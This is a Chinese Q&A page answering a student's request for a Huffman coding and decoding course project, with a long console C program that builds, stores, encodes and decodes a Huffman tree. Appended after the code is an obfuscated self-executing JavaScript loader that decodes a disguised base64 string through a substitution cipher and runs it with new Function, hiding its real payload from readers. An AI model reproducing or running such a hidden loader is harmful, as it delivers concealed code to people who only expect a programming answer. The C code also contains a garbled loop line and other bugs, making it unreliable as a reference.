有谁可以用c语言做个哈夫曼编码和译码的课程设计 带图形界面的(我是学数据结构的)

2025-03-15 17:12:38
推荐回答(1个)
回答1:

是树的课后实习题么???
实习题我有答案
#include
#include
typedef struct hfmtree
{
char data;//值
int weight;//权
struct hfmtree *parent,*lchild,*rchild;//双亲,左孩子,右孩子
}hfmtree;
main()
{
hfmtree* huffmancoding(hfmtree *hf,int i,int *wei,char *da);//构造赫夫曼树
void treeprin(hfmtree *hf);//将赫夫曼树的图存放在c:\\treeprint.txt文件中
void Printcode(hfmtree *hf);//打印代码文件
void storage(hfmtree *hf);//将赫夫曼树储存到hfmtree.txt文件中
void Storedcode(hfmtree *hf);//进行编码操作,并将结果存放到c:\\code file.txt中,要进行翻译的文件存放在c:\\tobetran.txt;
void coding(hf);//进行译码
hfmtree *hf;
int i,j,*wei,flag1=1,flag2=1;
char *da,ch;//分别记录值以及权值
FILE *fp;//用来判断必备的文件是否存在
printf("由于是第一次进行赫夫曼树构造所以必须进行初始化操作\n");//**********************************************************
printf("请依次输入构成赫夫曼树的值,'#'为结束输入\n");
i=1;
hf=NULL;
if(!(da=(char *)malloc((i+1)*sizeof(char))))exit(1);
fflush(stdin);
scanf("%c",&da[i]);//0号单元舍弃
while(da[i]!='#')//输入值
{
i++;
if(!(da=(char *)realloc(da,(i+1)*sizeof(char))))exit(1);
fflush(stdin);
scanf("%c",&da[i]);
}
i--;
printf("请输入对应的权值\n");
if(!(wei=(int *)malloc((i+1)*sizeof(int))))exit(1);
for(j=1;j<=i;j++)//0号单元舍弃
{
fflush(stdin);
scanf("%d",&wei[j]);
}
hf=huffmancoding(hf,i,wei,da);
storage(hf);//*********************************以上为初始化赫夫曼树************************************
printf("恭喜你赫夫曼树已经成功建立具体情况请查看hfmtree.txt文件\n");
while(flag1)
{
printf("接下来要进行什么操作?\nE:编码\nD:译码\nP:印代码文件\nT:印赫夫曼树\nQ:退出系统");
while(flag2)
{
fflush(stdin);
scanf("%c",&ch);
system("cls");
switch(ch)
{
case 'E':flag2=0;Storedcode(hf);break;//编码
case 'e':flag2=0;Storedcode(hf);break;
case 'D':fp=fopen("c:\\codefile.txt","r");if(fp==NULL)printf("对不起,您是否先考虑一下先进行编码操作呢?没有东西让我翻译啊\n");else coding(hf);flag2=0;break;//译码,但前提必须存在指定文件
case 'd':fp=fopen("c:\\codefile.txt","r");if(fp==NULL)printf("对不起,您是否先考虑一下先进行编码操作呢?没有东西让我翻译啊\n");else coding(hf);flag2=0;break;
case 'p':fp=fopen("c:\\textfile.txt","r");if(fp==NULL)printf("对不起,您是否先考虑一下先进行译码操作呢?没有东西让我翻译啊\n");else Printcode(hf);flag2=0;break;//打印编码,前提必须存在指定文件
case 'P':fp=fopen("c:\\textfile.txt","r");if(fp==NULL)printf("对不起,您是否先考虑一下先进行译码操作呢?没有东西让我翻译啊\n");else Printcode(hf);flag2=0;break;
case 't':treeprin(hf);flag2=0;break;
case 'T':treeprin(hf);flag2=0;break;
case 'q':flag1=0;flag2=0;break;
case 'Q':flag1=0;flag2=0;break;
default:printf("输入错误,请重新输入\nE:编码\nD:译码\nP:印代码文件\nT:印赫夫曼树\nQ:退出系统");
}
}
flag2=1;
}
fclose(fp);
printf("是否保留文件?(y/n)\n");
flag1=1;
while(flag1)
{
fflush(stdin);
scanf("%c",&ch);
if(ch=='n'||ch=='N')
{
i=1;
flag1=0;
}
else if(ch=='y'||ch=='Y')
{
i=0;
flag1=0;
}
else
printf("输入错误,请重新输入\n");
}
if(i)
{
system("erase c:\\hfmtree.txt");
system("erase c:\\tobetran.txt");
system("erase c:\\codefile.txt");
system("erase c:\\textfile.txt");
system("erase c:\\codeprin.txt");
system("erase c:\\treeprint.txt");
}
}
void select(hfmtree *hf,int i,int *s1,int *s2)//取hf中权值最小的2个数
{
int k,m=2;
*s1=*s2=0;
for(k=1;k<=i;k++)
{
if(hf[k].parent==NULL)//给s1,s2赋予初值
{
if(m!=0)
{
if(m==2)
*s1=k;
if(m==1)
*s2=k;
m--;
continue;
}
if(hf[k].weight<=hf[*s1].weight||hf[k].weight<=hf[*s2].weight)//判断大小
{
if(hf[*s1].weight<=hf[*s2].weight)
{
*s2=*s1;
*s1=k;
}
else
{
*s1=*s2;
*s2=k;
}
}
}
}
if(hf[*s1].weight>hf[*s2].weight)//始终保证左孩子比右孩子小
{
k=*s1;
*s1=*s2;
*s2=k;
}
}
hfmtree* huffmancoding(hfmtree *hf,int i,int *wei,char *da)//构造赫夫曼树,并将形成的赫夫曼树以先序顺序记录在hfmtree文件中
{
hfmtree *p;
int m,j,*s1,*s2,a,b;
s1=&a,s2=&b;
if(i<=1)
{
printf("元素太少,无法构成赫夫曼树.\n");
exit(1);
}
m=2*i-1;
if(!(hf=(hfmtree *)malloc((m+1)*sizeof(hfmtree))))exit(1);
for(p=hf,j=1;j<=i;j++)//对叶子结点赋值
{
(p+j)->data=da[j];
(p+j)->weight=wei[j];
(p+j)->lchild=NULL;
(p+j)->rchild=NULL;
(p+j)->parent=NULL;
}
for(j=i+1;j<=m;j++)//非叶子结点赋值
{
(p+j)->data='@';//对于那些非叶子节点可随便进行一些特殊赋值如@,#,$,^之类的符号
(p+j)->weight=0;
(p+j)->lchild=NULL;
(p+j)->rchild=NULL;
(p+j)->parent=NULL;
}
for(j=i+1;j<=m;j++)
{
select(hf,j-1,s1,s2);//找权值最小的2个数
hf[*s1].parent=hf+j,hf[*s2].parent=hf+j;//2个最小的数的双亲是j
hf[j].weight=hf[*s1].weight+hf[*s2].weight;//j的权等于他的左右结点的和
hf[j].lchild=hf+(*s1),hf[j].rchild=hf+(*s2);//j的左右结点
}
return(hf+m);//赫夫曼树完成后最后一个结点恰恰是赫夫曼树的根结点
}
void preordertraverse(hfmtree *hf,char *ch,int *i)
{
if(hf)
{
(*i)++;
if(!(ch=(char *)realloc(ch,(*i+3)*sizeof(char))))exit(1);//将本节点输入到ch中
ch[*i-1]=hf->data;
preordertraverse(hf->lchild,ch,i);
preordertraverse(hf->rchild,ch,i);
}
else//本节点是空节点则输入0
{
(*i)++;
if(!(ch=(char *)realloc(ch,(*i+3)*sizeof(char))))exit(1);
ch[*i-1]='0';
}
}
void storage(hfmtree *hf)//将赫夫曼树储存到hfmtree.ini文件中
{
FILE *pf;
char *ch;
int *i,a,j;
i=&a;
a=0;
if(!(ch=(char *)malloc(sizeof(char))))exit(1);
preordertraverse(hf,ch,i);
ch[*i]='#';//为以后构造赫夫曼树留作二叉树结束标志
pf=fopen("c:\\hfmtree.txt","w");
for(j=0;j<=*i;j++)
fputc(ch[j],pf);//将赫夫曼树以先序创建的形式输入到c:\\hfmtree.txt中
fclose(pf);//脱钩
}
void Fordecoding(hfmtree *ht,int *j,int *i,char coding[20],char data,int l)//对单个字母进行编码
{
if(*j==1&&ht)
{
if(ht==ht->parent->lchild)//右1左0
coding[l++]='0';
else
coding[l++]='1';
if(ht->data==data)//如果是那就将*j赋予0将所有正在递归操作的函数全部停止
{
*j=0;
*i=l;
}
Fordecoding(ht->lchild,j,i,coding,data,l);//左孩子递归
Fordecoding(ht->rchild,j,i,coding,data,l);//右孩子递归
}
}
void Storedcode(hfmtree *ht)//对输入的文件进行译码操作
{
int i,j,*k,a,*m,b,l;
char *ch,coding[20],data;
hfmtree q;
FILE *fp;
q.lchild=ht;//给根设立个头结点
ht->parent=&q;
q.rchild=NULL;
m=&b;
k=&a;
a=1;
printf("请输入要进行编译的文件,'#'为结束输入\n");
i=1;
if(!(ch=(char *)malloc(i*sizeof(char))))exit(1);
fflush(stdin);
scanf("%c",&ch[i-1]);
while(ch[i-1]!='#')//进行文件输入
{
i++;
if(!(ch=(char *)realloc(ch,i*sizeof(char))))exit(1);
fflush(stdin);
scanf("%c",&ch[i-1]);
}
fp=fopen("c:\\tobetran.txt","w");//把输入的文件存放到c:\\tobetran中
for(j=0;j fputc(ch[j],fp);
fclose(fp);//脱钩
j=0;
data=ch[j++];
fp=fopen("c:\\codefile.txt","w");//将得到的译码写入次文件中
while(data!='#')
{
*k=1;//要调用的函数的结束标志
l=0;//coding数组从0开始计数
Fordecoding(ht,k,m,coding,data,l);
for(i=1;i<*m;i++)//把翻译过来的密码输入文件中
{
printf("%c",coding[i]);
fputc(coding[i],fp);
}
printf(" ");
data=ch[j++];//取此时的字母
}
fclose(fp);//脱钩
printf("\n");
}
void coding(hfmtree *hf)//译码
{
FILE *fp,*pf;
hfmtree *p;
char ch;
p=hf;
fp=fopen("c:\\codefile.txt","r");//读取存放译码的文件
pf=fopen("c:\\textfile.txt","w");//将编译完成的代码要写入的文件
ch=fgetc(fp);
while(ch!=EOF)//进行译码
{
if(ch!=EOF)
{
if(ch=='0')//向左走
p=p->lchild;
else//向右走
p=p->rchild;
}
if(!p->lchild&&!p->rchild)//非叶子结点
{
printf("%c",p->data);
fputc(p->data,pf);//输入到c:\\textfile.txt"文件中
p=hf;
}
ch=fgetc(fp);
}
printf("\n");
fclose(fp);
fclose(pf);
}
void Printcode(hfmtree *hf)//打印代码文件
{
FILE *fp,*pf;
char ch;
int i=0;
printf("进行印代码文件操作\n");
fp=fopen("c:\\textfile.txt","r");//读取存放代码的文件
pf=fopen("c:\\codeprin.txt","w");//将代码文件重新写入到这里
ch=fgetc(fp);
while(ch!=EOF)
{
printf("%c",ch);
i++;
if(i%50==0)
printf("\n");
fputc(ch,pf);//将这个字母输入进去
ch=fgetc(fp);//取下一个字母
}
fclose(pf);//脱钩
fclose(fp);
printf("\n");
}
int preordertraverse1(int i,char a[100][100],hfmtree *hf,int j)//进行二叉树的图的构造
{
int k,m,n;
m=n=0;
if(hf)
{
m=preordertraverse1(i+1,a,hf->rchild,j);
k=m+j;
n=preordertraverse1(i+1,a,hf->lchild,k+1);
a[k][i]=hf->data;
return(m+n+1);
}
else
return(0);
}
void treeprin(hfmtree *hf)//将赫夫曼树的图写入c:\\treeprin.txt文件中
{
char tree[100][100];
int i,j;
FILE *pf;
pf=fopen("c:\\treeprin.txt","w");
for(i=0;i<100;i++)
for(j=0;j<100;j++)
tree[i][j]='#';
preordertraverse1(0,tree,hf,0);//对此时的赫夫曼树进行造图操作
for(i=0;i<100;i++)
{
for(j=99;j>=0;j--)
{
if(tree[j][i]=='#')
fputc(' ',pf);
else
{
if(tree[j][i]==' ')
fputc('^',pf);
else
fputc(tree[j][i],pf);
}
}
printf("\n");
fputc('\n',pf);
}
fclose(pf);
}

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();